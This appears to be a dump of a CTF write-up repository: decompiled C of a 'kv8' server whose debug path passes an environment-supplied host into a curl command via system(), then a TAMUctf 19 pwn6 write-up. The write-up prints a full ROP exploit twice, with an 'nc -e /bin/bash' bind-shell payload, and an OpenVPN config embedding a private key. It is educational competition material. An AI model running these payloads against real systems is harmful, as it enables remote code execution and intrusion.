158 | snprintf(&filename, 0xFA0uLL, "data/%s_%s", *(*(root_ctx + 5) + 8LL), idx);
159 | fp = fopen(&filename, "wb");
160 | if ( !fp )
161 | __assert_fail("f", "/vagrant/spbctf/fargate-training/kv8/main.c", 0x65u, "cmd_put");
162 | fwrite(data, 1uLL, HIDWORD(lens), fp);
163 | fclose(fp);
164 | v25 = 200LL;
165 | v26 = 0LL;
166 | write_header(200LL, 0LL);
167 | return __readfsqword(0x28u) ^ canary;
168 | }
169 |
170 | unsigned __int64 __fastcall
171 | cmd_get(__int64 cmd, unsigned __int64 buf_size)
172 | {
173 | void *v2; // rsp
174 | void *v3; // rsp
175 | size_t _data; // [rsp+0h] [rbp-1050h]
176 | __int64 v6; // [rsp+8h] [rbp-1048h]
177 | __int64 v7; // [rsp+10h] [rbp-1040h]
178 | __int64 v8; // [rsp+18h] [rbp-1038h]
179 | __int64 v9; // [rsp+20h] [rbp-1030h]
180 | __int64 v10; // [rsp+28h] [rbp-1028h]
181 | __int64 _cmd; // [rsp+30h] [rbp-1020h]
182 | __int64 _buf_size; // [rsp+38h] [rbp-1018h]
183 | __int64 v13; // [rsp+40h] [rbp-1010h]
184 | void *idx; // [rsp+48h] [rbp-1008h]
185 | FILE *fp; // [rsp+50h] [rbp-1000h]
186 | size_t data_len; // [rsp+58h] [rbp-FF8h]
187 | size_t v17; // [rsp+60h] [rbp-FF0h]
188 | void *data; // [rsp+68h] [rbp-FE8h]
189 | __int64 v19; // [rsp+70h] [rbp-FE0h]
190 | unsigned __int64 _data_len; // [rsp+78h] [rbp-FD8h]
191 | char filename; // [rsp+80h] [rbp-FD0h]
192 | unsigned __int64 canary; // [rsp+1028h] [rbp-28h]
193 |
194 | _cmd = cmd;
195 | _buf_size = buf_size;
196 | canary = __readfsqword(0x28u);
197 | check_auth();
198 | v13 = _buf_size;
199 | v9 = _buf_size + 1;
200 | v10 = 0LL;
201 | v7 = _buf_size + 1;
202 | v8 = 0LL;
203 | v2 = alloca(16 * ((_buf_size + 16) / 16uLL));
204 | idx = &_data;
205 | bzero(&_data, _buf_size + 1);
206 | readn(idx, _buf_size);
207 | check_path_part(idx);
208 | snprintf(&filename, 0xFA0uLL, "data/%s_%s", *(*(root_ctx + 5) + 8LL), idx);
209 | fp = fopen(&filename, "rb");
210 | if ( fp )
211 | {
212 | fseek(fp, 0LL, 2);
213 | data_len = ftell(fp);
214 | fseek(fp, 0LL, 0);
215 | v17 = data_len - 1;
216 | _data = data_len;
217 | v6 = 0LL;
218 | v3 = alloca(16 * ((data_len + 15) / 0x10));
219 | data = &_data;
220 | fread(&_data, 1uLL, data_len, fp);
221 | fclose(fp);
222 | v19 = 200LL;
223 | _data_len = data_len;
224 | write_header(200LL, data_len);
225 | writen(data, _data_len);
226 | }
227 | else
228 | {
229 | v19 = 404LL;
230 | _data_len = 0LL;
231 | write_header(404LL, 0LL);
232 | }
233 | return __readfsqword(0x28u) ^ canary;
234 | }
235 |
236 | __int64 __fastcall
237 | cmd_quit(__int64 cmd, __int64 buf_size)
238 | {
239 | __int64 user; // rax
240 | __int64 (__fastcall *dealloc)(_QWORD); // ST18_8
241 | size_t goodbye_len; // [rsp+28h] [rbp-8h]
242 |
243 | if ( buf_size )
244 | __assert_fail("header.l == 0", "/vagrant/spbctf/fargate-training/kv8/main.c", 0x93u, "cmd_quit");
245 | goodbye_len = strlen("goodby");
246 | write_header(200LL, goodbye_len);
247 | writen("goodby", goodbye_len);
248 | user = *(root_ctx + 5);
249 | if ( user )
250 | {
251 | dealloc = *(*(root_ctx + 5) + 16LL);
252 | (dealloc)(*(*(root_ctx + 5) + 8LL), goodbye_len);
253 | user = dealloc(*(root_ctx + 5));
254 | }
255 | return user;
256 | }
257 |
258 | unsigned __int64 __fastcall
259 | ping(__int64 cmd, unsigned __int64 buf_size)
260 | {
261 | void *v2; // rsp
262 | unsigned __int64 __buf_size; // rbx
263 | size_t pos; // rbx
264 | size_t root_len; // rax
265 | unsigned __int64 idx_len; // rax
266 | unsigned __int64 pond_len; // rax
267 | size_t idx_len_; // rax
268 | __int64 l2; // rbx
269 | size_t pong_len; // rax
270 | __int64 _cmd; // [rsp+0h] [rbp-60h]
271 | unsigned __int64 _buf_size; // [rsp+8h] [rbp-58h]
272 | unsigned __int64 v14; // [rsp+10h] [rbp-50h]
273 | char *idx; // [rsp+18h] [rbp-48h]
274 | char *pong; // [rsp+20h] [rbp-40h]
275 | size_t str_len; // [rsp+28h] [rbp-38h]
276 | __int64 v18; // [rsp+30h] [rbp-30h]
277 | size_t v19; // [rsp+38h] [rbp-28h]
278 | unsigned __int64 canary; // [rsp+48h] [rbp-18h]
279 |
280 | _cmd = cmd;
281 | _buf_size = buf_size;
282 | canary = __readfsqword(0x28u);
283 | if ( !buf_size || _buf_size > 0x400 )
284 | __assert_fail(
285 | "header.l > 0 && header.l <= TLV_MAX_LEN",
286 | "/vagrant/spbctf/fargate-training/kv8/main.c",
287 | 0xA4u,
288 | "ping");
289 | v14 = _buf_size - 1;
290 | v2 = alloca(16 * ((_buf_size + 15) / 0x10));
291 | idx = &_cmd;
292 | readn(&_cmd, _buf_size);
293 | idx[_buf_size - 1] = 0;
294 | pong = " pong ";
295 | __buf_size = _buf_size;
296 | pos = strlen(" pong ") + __buf_size;
297 | root_len = strlen(root_ctx);
298 | str_len = pos + root_len;
299 | v18 = 200LL;
300 | v19 = pos + root_len;
301 | write_header(200LL, pos + root_len);
302 | idx_len = strlen(idx);
303 | writen(idx, idx_len);
304 | pond_len = strlen(pong);
305 | writen(pong, pond_len);
306 | idx_len_ = strlen(idx);
307 | l2 = str_len - idx_len_;
308 | pong_len = strlen(pong);
309 | writen(root_ctx, l2 - pong_len);
310 | return __readfsqword(0x28u) ^ canary;
311 | }
312 |
313 | char *
314 | init()
315 | {
316 | char *_root_ctx; // rax
317 | char *result; // rax
318 | const char *debug; // [rsp+8h] [rbp-8h]
319 |
320 | allocator_alloc = &malloc;
321 | allocator_dealloc = &free;
322 | root_ctx = malloc(0x40uLL);
323 | bzero(root_ctx, 0x40uLL);
324 | _root_ctx = root_ctx;
325 | *root_ctx = 'srev 8vk';
326 | *(_root_ctx + 1) = '2424 noi';
327 | _root_ctx[16] = 0;
328 | *(root_ctx + 8) = 4242;
329 | debug = getenv("DEBUG");
330 | if ( debug && !strcmp("true", debug) )
331 | *(root_ctx + 6) = report_and_exit;
332 | else
333 | *(root_ctx + 6) = &exit;
334 | result = root_ctx;
335 | *(root_ctx + 7) = root_ctx;
336 | return result;
337 | }
338 |
339 | void
340 | timeout()
341 | {
342 | firfirfir("timeout");
343 | }
344 |
345 | int __cdecl
346 | main(int argc, const char **argv, const char **envp)
347 | {
348 | __int64 v3; // rdx
349 | signed int i; // [rsp+Ch] [rbp-14h]
350 | unsigned __int64 cmd; // [rsp+10h] [rbp-10h]
351 | __int64 buf_size; // [rsp+18h] [rbp-8h]
352 |
353 | init();
354 | for ( i = 0; i <= 5; ++i )
355 | {
356 | signal(14, timeout);
357 | alarm(3u);
358 | cmd = read_header();
359 | buf_size = v3;
360 | if ( cmd > 5 )
361 | firfirfir("wrong command");
362 | (*(&handlers + cmd))(cmd, buf_size);
363 | }
364 | return 0;
365 | }
366 |
367 | __int64 __fastcall
368 | firfirfir(const char *a1)
369 | {
370 | perror(a1);
371 | return (*(root_ctx + 6))(0LL);
372 | }
373 |
374 | unsigned __int64 __fastcall
375 | writen(char *msg_buf, unsigned __int64 n)
376 | {
377 | unsigned __int64 result; // rax
378 | unsigned __int64 bytes_written; // [rsp+18h] [rbp-18h]
379 | char *buf; // [rsp+20h] [rbp-10h]
380 | ssize_t len; // [rsp+28h] [rbp-8h]
381 |
382 | if ( !n )
383 | __assert_fail("n > 0", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x10u, "writen");
384 | if ( !msg_buf )
385 | __assert_fail("buf != NULL", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x11u, "writen");
386 | bytes_written = 0LL;
387 | buf = msg_buf;
388 | do
389 | {
390 | while ( 1 )
391 | {
392 | while ( 1 )
393 | {
394 | if ( bytes_written >= n )
395 | __assert_fail("bytes_written < n", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x15u, "writen");
396 | len = write(1, buf, n - bytes_written);
397 | if ( len >= 0 )
398 | break;
399 | firfirfir("reading error");
400 | }
401 | if ( len )
402 | break;
403 | firfirfir("reading eof");
404 | }
405 | buf += len;
406 | bytes_written += len;
407 | result = n;
408 | }
409 | while ( n != bytes_written );
410 | return result;
411 | }
412 |
413 | unsigned __int64 __fastcall
414 | readn(char *res_buf, unsigned __int64 n)
415 | {
416 | unsigned __int64 result; // rax
417 | unsigned __int64 bytes_read; // [rsp+18h] [rbp-18h]
418 | char *buf; // [rsp+20h] [rbp-10h]
419 | ssize_t len; // [rsp+28h] [rbp-8h]
420 |
421 | if ( !n )
422 | __assert_fail("n > 0", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x26u, "readn");
423 | if ( !res_buf )
424 | __assert_fail("buf != NULL", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x27u, "readn");
425 | bytes_read = 0LL;
426 | buf = res_buf;
427 | do
428 | {
429 | while ( 1 )
430 | {
431 | if ( bytes_read >= n )
432 | __assert_fail("bytes_read < n", "/vagrant/spbctf/fargate-training/kv8/proto.c", 0x2Bu, "readn");
433 | len = read(0, buf, n - bytes_read);
434 | if ( len >= 0 )
435 | break;
436 | firfirfir("reading error");
437 | }
438 | if ( !len )
439 | exit(0);
440 | buf += len;
441 | bytes_read += len;
442 | result = n;
443 | }
444 | while ( n != bytes_read );
445 | return result;
446 | }
447 |
448 | __int64
449 | read_header()
450 | {
451 | __int64 cmd; // [rsp+0h] [rbp-20h]
452 | unsigned __int64 msg_len; // [rsp+8h] [rbp-18h]
453 | unsigned __int64 canary; // [rsp+18h] [rbp-8h]
454 |
455 | canary = __readfsqword(0x28u);
456 | cmd = 0LL;
457 | msg_len = 0LL;
458 | readn(&cmd, 0x10uLL);
459 | if ( msg_len > 0x400 )
460 | firfirfir("msg too big");
461 | return cmd;
462 | }
463 |
464 | unsigned __int64 __fastcall
465 | write_header(__int64 code, __int64 a2)
466 | {
467 | __int64 buf; // [rsp+0h] [rbp-10h]
468 | __int64 v4; // [rsp+8h] [rbp-8h]
469 |
470 | buf = code;
471 | v4 = a2;
472 | return writen(&buf, 0x10uLL);
473 | }
474 |
475 | __int64
476 | check_auth()
477 | {
478 | if ( !*(root_ctx + 5) )
479 | firfirfir("not authorized");
480 | return check_path_part(*(*(root_ctx + 5) + 8LL));
481 | }
482 |
483 | __int64 __fastcall
484 | check_path_part(const char *path)
485 | {
486 | __int64 result; // rax
487 | char b; // [rsp+13h] [rbp-Dh]
488 | int i; // [rsp+14h] [rbp-Ch]
489 | size_t path_len; // [rsp+18h] [rbp-8h]
490 |
491 | path_len = strlen(path);
492 | if ( !path_len || path_len > 0x80 )
493 | firfirfir("strange uid");
494 | for ( i = 0; ; ++i )
495 | {
496 | result = i;
497 | if ( path_len <= i )
498 | break;
499 | b = path[i];
500 | if ( (b <= '`' || b > 'z') && (b <= '@' || b > 'Z') && (b <= '/' || b > '9') && b != '-' )
501 | firfirfir("bad uid");
502 | }
503 | return result;
504 | }
505 |
506 | int __fastcall
507 | curl(const char *cmd)
508 | {
509 | char *v1; // rax
510 |
511 | v1 = strstr(cmd, "curl");
512 | if ( v1 )
513 | LODWORD(v1) = system(cmd);
514 | return v1;
515 | }
516 |
517 | unsigned __int64 __fastcall
518 | report_and_exit(unsigned int a1)
519 | {
520 | char *host; // [rsp+18h] [rbp-FB8h]
521 | char buf; // [rsp+20h] [rbp-FB0h]
522 | unsigned __int64 canary; // [rsp+FC8h] [rbp-8h]
523 |
524 | canary = __readfsqword(0x28u);
525 | host = getenv("ANALYTICS_HOST");
526 | if ( host )
527 | {
528 | bzero(&buf, 0xFA0uLL);
529 | snprintf(&buf, 0xFA0uLL, &byte_27AA, host, a1);
530 | curl(&buf);
531 | exit(a1);
532 | }
533 | return __readfsqword(0x28u) ^ canary;
534 | }
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/README.md:
--------------------------------------------------------------------------------
1 | # TAMUctf 19
2 |
3 | ## pwn6
4 |
5 | ## Information
6 |
7 | **Category** | **Points** | **Solves** | **Writeup Author**
8 | --- | --- | --- | ---
9 | PWN | 500 | 35 | [merrychap](https://github.com/merrychap)
10 |
11 | **Description:**
12 |
13 | > Setup the VPN and use the client to connect to the server. The servers ip address on the vpn is 172.30.0.2. Difficulty: hard
14 |
15 | **Files:**
16 |
17 | [server](./server)
18 |
19 | [client](./client)
20 |
21 | ## Initial information
22 |
23 | It's quite interesting that we're given not only a server binary but a client. Apparently, there is some specific communication protocol between a client and a server.
24 |
25 | Sadly, I lost both reversed binaries (don't solve CTFs in `/tmp` directory), so I will only describe the solution in general, without too specific code examples.
26 |
27 | There is already [writeup](https://ctftime.org/writeup/13673) on this task from OpenToAll. They used format string bug to exploit the server. And I suppose many solutions were based on this bug. My solution doesn't use inner sqlite database and any of the designed functions, so I guess this solution would be an interesting approach to you to explore.
28 |
29 | ## Reversing client
30 |
31 | Basically, the client connects to the specified server and can produce different designed functions as `check balance`, `create an account`, `create a user` and others. You decide which function to use.
32 |
33 | Message from the client to the server looks like the following:
34 |
35 | ```
36 | | 4 bytes | 4 bytes | arbitrary |
37 | | payload length | request type | payload data |
38 | ```
39 |
40 | To simplify the communication and throw away the client binary, we can write our own python client:
41 |
42 | ```python
43 | def send_msg(pc, type, indata, size=None):
44 | if size is None:
45 | size = len(indata)
46 |
47 | data = ''
48 | data += p32(size)
49 | data += p32(type)
50 | data += indata
51 |
52 | pc.send(data)
53 | ```
54 |
55 | Now we're done with the client and can proceed to the server binary.
56 |
57 | ## Reversing server
58 |
59 | This is a statically linked binary, so we have a lot of functions inside of it. Basically, it's a simple non-blocking socket server that handles connections and incoming data. The main function looks as follows:
60 |
61 |
62 |
63 |
64 |
65 | The reason why I show you this function is the stack variable called `server`. This is a very important variable and contains a lot of information inside. In particular, it **contains our request** which will play an important role further.
66 |
67 | Now let's take a look at the function that processes incoming data:
68 |
69 |
70 |
71 |
72 |
73 | Looks creepy, right? And it really does :D
74 |
75 | `incoming_info` is a structure that contains all the needed information about incoming data. In particular, it has handlers for various requests (do you remember `request_type` I talked about earlier?). So, the binary checks that there is a handler for this `req_type` and if it is, then it calls it. In general, it looks something like this:
76 |
77 | ```python
78 | incoming_info[2 * (data.req_type + 4) + 4](server, incoming_info)
79 | ```
80 |
81 | Also, `incoming_info` is on the heap and it's important too.
82 |
83 | To summarize, the server gets a request, looks at `req_type` and calls correspond handler for this request.
84 |
85 | ## Exploitation
86 |
87 | Alright, `incoming_info` is on the heap and `req_type` is an offset where the handler is placed. And we control `req_type`. So, we can specify some big number and go out of the `incoming_info` chunk. Let's explore the heap layout on the moment of checking handler existence.
88 |
89 | We send `"A" * 0x4b0` as the data we want to be processed by the server.
90 |
91 |
92 |
93 |
94 |
95 | - `rsi` is `incoming_info`
96 | - `rcx` is our data
97 |
98 |
99 |
100 |
101 |
102 | As you can see, our controlled input is below of `incoming_info`, and it gives us an opportunity to call one arbitrary function! This is cool, but we don't control `rdi` in a way to call `system("any command here")`. So, we need to control `rdi` somehow.
103 |
104 | I hope you remember that our incoming data is stored on the stack as well (in `server` variable)
105 |
106 |
107 |
108 |
109 |
110 | And my final idea was next:
111 |
112 | - We have a statically linked binary which has a lot of different gadgets
113 |
114 | - We can call one arbitrary function
115 |
116 | - Our input is stored on the stack
117 |
118 | So, having all of these, we can try to call gadget that will shift `rsp` to our controlled input and make ROP chain to put any string into `rdi` and call `system`. Yay, that's all folks.
119 |
120 | That gadget will shift rsp to our controlled input on the stack.
121 |
122 | ```
123 | 0x0000000000409070 : add rsp, 0x58 ; ret
124 | ```
125 |
126 | The main problem was to control rdi, so my ROP chain was a little bit tricky:
127 |
128 | ```python
129 | payload = p64(mov_rax_r13_pop_pop_pop) + p64(0) + p64(0) + p64(0) + \
130 | p64(pop_rsi) + p64(0x870) + \
131 | p64(sub_rax_rsi) + \
132 | p64(push_rax_pop_rbx) + \
133 | p64(pop_r12) + p64(pop_rax) + \
134 | p64(mov_rdi_rbx_call_r12) + \
135 | p64(system)
136 | ```
137 |
138 | As long as `stdout` and `stderr` aren't dup into connecting socket, we need to open reverse shell. Since we control string for `system` it's not a problem at all.
139 |
140 | The final exploit is next:
141 |
142 | ```python
143 | from pwn import *
144 |
145 |
146 | def send_msg(pc, type, indata, size=None):
147 | if size is None:
148 | size = len(indata)
149 |
150 | data = ''
151 | data += p32(size)
152 | data += p32(type)
153 | data += indata
154 |
155 | pc.send(data)
156 |
157 |
158 | def main():
159 | system = 0x401A10
160 |
161 | add_rsp = 0x409070
162 |
163 | pops = 0x4021cc
164 | mov_rax_r11_pop_pop_pop = 0x40a771
165 | mov_rdi_rbp_call_rax = 0x421678
166 | add_ebp_eax = 0x409267
167 | pop_rax = 0x409073
168 | push_rax_pop_rbx = 0x44f262
169 | mov_rax_r13_pop_pop_pop = 0x40c80a
170 |
171 | mov_rdi_rbx_call_r12 = 0x4a7f8c
172 |
173 | add_rax_rdx = 0x40e7ed
174 | sub_rax_rsi = 0x4096cf
175 |
176 | pop_rsi = 0x401e89
177 | pop_rdx = 0x4bb28e
178 | pop_r12 = 0x402048
179 |
180 | cmd = 'nc -l -p 1234 -e /bin/bash' + '\x00'
181 |
182 | # pc = remote('127.0.0.1', 6210)
183 | pc = remote('172.30.0.2', 6210)
184 |
185 | payload = p64(mov_rax_r13_pop_pop_pop) + p64(0) + p64(0) + p64(0) + \
186 | p64(pop_rsi) + p64(0x870) + \
187 | p64(sub_rax_rsi) + \
188 | p64(push_rax_pop_rbx) + \
189 | p64(pop_r12) + p64(pop_rax) + \
190 | p64(mov_rdi_rbx_call_r12) + \
191 | p64(system)
192 |
193 | send_msg(pc, 109, ('A' * 8) + 4 * p64(pops) + \
194 | p64(add_rsp) + p64(0x41424344) + \
195 | payload + cmd + \
196 | 'B' * (0x4b8 - len(payload) - len(cmd)), 0)
197 |
198 | pc.interactive()
199 |
200 |
201 | if __name__ == '__main__':
202 | main()
203 | ```
204 |
205 | ## Flag
206 |
207 | After running the exploit we just connect to the opened reverse shell and get our flag
208 |
209 |
210 |
211 |
212 |
213 | > Flag: gigem{dbff08334bfc2ae509f83605e4285b0e}
214 |
215 | ## Little notes
216 |
217 | I talked the to admin of this task and he said that this service was designed as a pwn playground and there were a lot of different vulns. But my way of exploitation doesn't use any of designed function and sqlite database. I hacked the way of communication between the client and the server. So, it was pretty cool and interesting challenge. Thanks to the admin!
218 |
219 | And Konata picture as a reward for the stolen flag :D
220 |
221 |
222 |
223 |
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/client:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/client
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/exploit.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 |
4 | def send_msg(pc, type, indata, size=None):
5 | if size is None:
6 | size = len(indata)
7 |
8 | data = ''
9 | data += p32(size)
10 | data += p32(type)
11 | data += indata
12 |
13 | pc.send(data)
14 |
15 |
16 | def main():
17 | system = 0x401A10
18 |
19 | add_rsp = 0x409070
20 |
21 | pops = 0x4021cc
22 | mov_rax_r11_pop_pop_pop = 0x40a771
23 | mov_rdi_rbp_call_rax = 0x421678
24 | add_ebp_eax = 0x409267
25 | pop_rax = 0x409073
26 | push_rax_pop_rbx = 0x44f262
27 | mov_rax_r13_pop_pop_pop = 0x40c80a
28 |
29 | mov_rdi_rbx_call_r12 = 0x4a7f8c
30 |
31 | add_rax_rdx = 0x40e7ed
32 | sub_rax_rsi = 0x4096cf
33 |
34 | pop_rsi = 0x401e89
35 | pop_rdx = 0x4bb28e
36 | pop_r12 = 0x402048
37 |
38 | cmd = 'nc -l -p 1234 -e /bin/bash' + '\x00'
39 |
40 | # pc = remote('127.0.0.1', 6210)
41 | pc = remote('172.30.0.2', 6210)
42 |
43 | payload = p64(mov_rax_r13_pop_pop_pop) + p64(0) + p64(0) + p64(0) + \
44 | p64(pop_rsi) + p64(0x870) + \
45 | p64(sub_rax_rsi) + \
46 | p64(push_rax_pop_rbx) + \
47 | p64(pop_r12) + p64(pop_rax) + \
48 | p64(mov_rdi_rbx_call_r12) + \
49 | p64(system)
50 |
51 | send_msg(pc, 109, ('A' * 8) + 4 * p64(pops) + \
52 | p64(add_rsp) + p64(0x41424344) + \
53 | payload + cmd + \
54 | 'B' * (0x4b8 - len(payload) - len(cmd)), 0)
55 |
56 | pc.interactive()
57 |
58 |
59 | if __name__ == '__main__':
60 | main()
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/pwn6.ovpn:
--------------------------------------------------------------------------------
1 |
2 | client
3 | nobind
4 | dev tap
5 | remote-cert-tls server
6 | float
7 | explicit-exit-notify
8 |
9 | remote pwn6.naum.tamuctf.com 2005 udp
10 |
11 |
12 |
13 |
14 | -----BEGIN PRIVATE KEY-----
15 | MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC1vxLQ+kbg+E6M
16 | qbHRvGAtY1gC9a/4/LV9aYfx6F8VTzbJyYJ5KScbtcK25PcirJgkv4sXCsvW0Y+q
17 | YyaX5EP7Hh9bpfcZbn+u/qUzhA9WacXZh3WoaVyKIxBcAg99DE1URHVmlmUmz6Kv
18 | +3DXqvkDpI+OSCR9ytC2/nXK8DImgcO40MbcLcrpf90MWNG860nAVsgdBVii2UgR
19 | YPyuK9yfQkmhmHS/T22Ubk+y8q+7+7Iyc8b3yBr4h5WVcCalG5nxEvkyGQOGQj2s
20 | 5x9/0eu/o9vB2kFHzQ9Ct2Wp9Ty0TquTTzpdUl7LsmINVzh6F856MOagTyrJcUKW
21 | kyv6nhnRAgMBAAECggEBAK3Yd0cuH15SJdCnAVB9wAGqZSVvnUOtdmzf5QmgHFNl
22 | 0iJyfjsnAiGfWwFXQo4ISf/cuE7yJMj261UwQlpIHj62MYiY2CObbscVDTCZwZIG
23 | 2xmYWRMetUXtBFj+H5KdkdppIWNfuKHHOvbarLWe9VJmtmqC12T7+2kPPd1ApLfv
24 | Czcd1J6CAqI+b6GplZmKjR69Za6VUNcL4zYBfeL0C3JVcjRihSiD9QFfIGOxGzz4
25 | GYOvNholxTFZUAV1S683SEbubsVo9XAk+XjICyT7Z8BketSoeG2/VVZYlWriprkx
26 | t2dUpCBZ9RhlW9JVn6cTPjFso/UxiKv7ASjwhFcHP4ECgYEA3+ZZKNF10L2++8DO
27 | G/Excfv9nKMq9dxHRlq3ICI5s8skKA3nkxmjUqJaMIv5WHzvUsRR78/xyfqIqiyS
28 | d1Fh5iiA4yR+FlIdtAtlnzxnu+xg9uQ0e0x9P2/BdROEOoVWACpZJd9W1/s2sQku
29 | SQKW6j1p/vDtsTm8+ioaLhIDTU8CgYEAz82YXq1zwhef4D/O9dDSYh42ZCRHX9mp
30 | rtr5GjV+cyipzvKcIT4jKfOx+YFVFO9BVitR0zJwY7cshVq7HZoEvyjrQE/kpojY
31 | cXbl+iIyEtTpAaSodtSIpQDnIAKLmFm7935X6Wm8MMCxlE0B623jAokuDdX5VRyx
32 | F8uI4WPJnt8CgYAVCAIf/2zdqrUh2L6DiWhnmI/+AqWqaoKXbTX+Yrig1tgSmxvB
33 | iYr53B40qTFGypWAZMh9ij7gBhSIR5+Kba6QfAV/UJI3boczvk5RYs8rq8x/5He5
34 | jTnGl6zIXojxJk0pvtCY6h2yM/qzLnWWjhO29QXb2K27E/1YUlQbN73vqQKBgQCb
35 | HHUK3uAUVfwRsK90T25qrPCeqXHZeyisi2j7hkif/w9ZmUCvk6k9zFjhzAdNPBYC
36 | Ew3d3r2DwRvrYsFfJDM82XdYpwoewPEHKOAbaOEFq4VNo7HYGWbx+42KGDxI+VpU
37 | MCvA4BsILR2gfCbdrEWSBAGrdDfLr0IFZ/kBfLHn8wKBgQCMBN9NgZrfB0G+GxCU
38 | 9mo9BU3hpoJxE5wHNvknBCARvypUMEVYxgn7hj4+o/VSCv/yxQsquZx8y4nZ0lJq
39 | kzNuNs23uUa1j7ag4BtI8P4RShEe2sl76RcQ4zmW0pQ2e5KZ8xaauJDNW7NLwnLa
40 | EFL37j6W3ZPSOenrQfamKBHTGg==
41 | -----END PRIVATE KEY-----
42 |
43 |
44 | -----BEGIN CERTIFICATE-----
45 | MIIDZDCCAkygAwIBAgIRAMoHDKh4UIm0ATH71IYv60IwDQYJKoZIhvcNAQELBQAw
46 | IzEhMB8GA1UEAwwYY2EucHduNi5uYXVtLnRhbXVjdGYuY29tMB4XDTE5MDIyMzA5
47 | MTUxNVoXDTIyMDIwNzA5MTUxNVowETEPMA0GA1UEAwwGdm9pZGthMIIBIjANBgkq
48 | hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtb8S0PpG4PhOjKmx0bxgLWNYAvWv+Py1
49 | fWmH8ehfFU82ycmCeSknG7XCtuT3IqyYJL+LFwrL1tGPqmMml+RD+x4fW6X3GW5/
50 | rv6lM4QPVmnF2Yd1qGlciiMQXAIPfQxNVER1ZpZlJs+ir/tw16r5A6SPjkgkfcrQ
51 | tv51yvAyJoHDuNDG3C3K6X/dDFjRvOtJwFbIHQVYotlIEWD8rivcn0JJoZh0v09t
52 | lG5PsvKvu/uyMnPG98ga+IeVlXAmpRuZ8RL5MhkDhkI9rOcff9Hrv6PbwdpBR80P
53 | QrdlqfU8tE6rk086XVJey7JiDVc4ehfOejDmoE8qyXFClpMr+p4Z0QIDAQABo4Gk
54 | MIGhMAkGA1UdEwQCMAAwHQYDVR0OBBYEFFbGxf7zfr7OePmPwLwrCrjqwOBDMFMG
55 | A1UdIwRMMEqAFK8mNXdg+HtvYUvYnX2kfAV1vzTkoSekJTAjMSEwHwYDVQQDDBhj
56 | YS5wd242Lm5hdW0udGFtdWN0Zi5jb22CCQDBPbtYbFS/BjATBgNVHSUEDDAKBggr
57 | BgEFBQcDAjALBgNVHQ8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBAEHGheJm7Aas
58 | 2gkePxrKiM3stLpRlYKj0pxkz7ws3n+sYrGIw4PPkhvgFOqdw6Xg2UsqLISqfDaY
59 | DfkOVsz4XpPvfwosr0zcc7p+E15Z3Bg16TxLFxMSVlKE0NG/caV7T61IZ0CesynA
60 | 7ijcH8sHmqVn3M2cVtqv+bbsVbO0F6B66mtjkW3NfZ6RmPStIHcNe7g5fIjVXFsU
61 | IIKoGBsm5c6mvwgbfBsvgqbN3lseiBZsHYIni/kmx5XpYhguCdZ9kM+iAvyDbcOD
62 | c/lNh6OIbhk1TVNQc73xnovIPLx1E5RfY6ycSeZwvCigAdqa64bZlzDtSUcWSNXU
63 | 8wTXYw+svME=
64 | -----END CERTIFICATE-----
65 |
66 |
67 | -----BEGIN CERTIFICATE-----
68 | MIIDXDCCAkSgAwIBAgIJAME9u1hsVL8GMA0GCSqGSIb3DQEBCwUAMCMxITAfBgNV
69 | BAMMGGNhLnB3bjYubmF1bS50YW11Y3RmLmNvbTAeFw0xOTAyMjIxOTAwMDBaFw0y
70 | OTAyMTkxOTAwMDBaMCMxITAfBgNVBAMMGGNhLnB3bjYubmF1bS50YW11Y3RmLmNv
71 | bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMZE4nofOUT6OQYzAhlC
72 | joN1/+vjNqRlwyRBL44pVd9FiLDA3jyd8QDpFVAKOEK9VFnseJZKZ7k++rZNjc1b
73 | sIUK2FSW/yn14rNHNaoKZGD8fKr2H/QDIeSmndOdTyYiWT7MQNqPK6pOG7FfyNFs
74 | 1yzsKmDrO1yOBs5HlWFruhSdon+R9FrwjfK+nGnK2DA+Tnbh5UQyMa9qrjDtZtmL
75 | 4qNsnwsde0dIW5OhYJBbZr4r/E2rmt2C1dhVAZKEOVjaolc0SK9MpZEZgMwdqSjW
76 | wYdWbIHEq74kqBt9SKHDU6GWPHwCylcq1NqdgvX9IprZERnVH+sc9/esgiiYrdT3
77 | H18CAwEAAaOBkjCBjzAdBgNVHQ4EFgQUryY1d2D4e29hS9idfaR8BXW/NOQwUwYD
78 | VR0jBEwwSoAUryY1d2D4e29hS9idfaR8BXW/NOShJ6QlMCMxITAfBgNVBAMMGGNh
79 | LnB3bjYubmF1bS50YW11Y3RmLmNvbYIJAME9u1hsVL8GMAwGA1UdEwQFMAMBAf8w
80 | CwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBCwUAA4IBAQBmBskfsToeOOzv3xOkAQpR
81 | NodHt6ZNt0cy7HRLcJ81fm8ZVg+O4UhJHSNdqbcvs/G7pD9jCuDXd1FXVw+4I3G6
82 | NHS0hEhf1+YS4VlhN95U0CEbmY5ar9JjVQKrX4lJG2IV+WlLqew7vSTe9I4Urw7R
83 | Uvpz8/VLsAZx+m0+8kGvnikSHC5AmQ31mCFBRxPKq1zmNdkqdUlVm3lGBLenKpd9
84 | UxF3E+i+it+EJLbnKzQNmqHGQzSFNlYMaYyknaB/SLpo2u5IuwIErWwpIYt7yFfN
85 | gn2HL4a+rF4LD/bxppUerys2QaizOYRkOYul5Yxjfvb/13+xi9wYRp5646dCb7B7
86 | -----END CERTIFICATE-----
87 |
88 | key-direction 1
89 |
90 | cipher AES-256-CBC
91 | auth SHA256
92 | comp-lzo
93 |
--------------------------------------------------------------------------------
/2019/TAMUctf 19/pwn6/screens/bp_validation.png:
--------------------------------------------------------------------------------
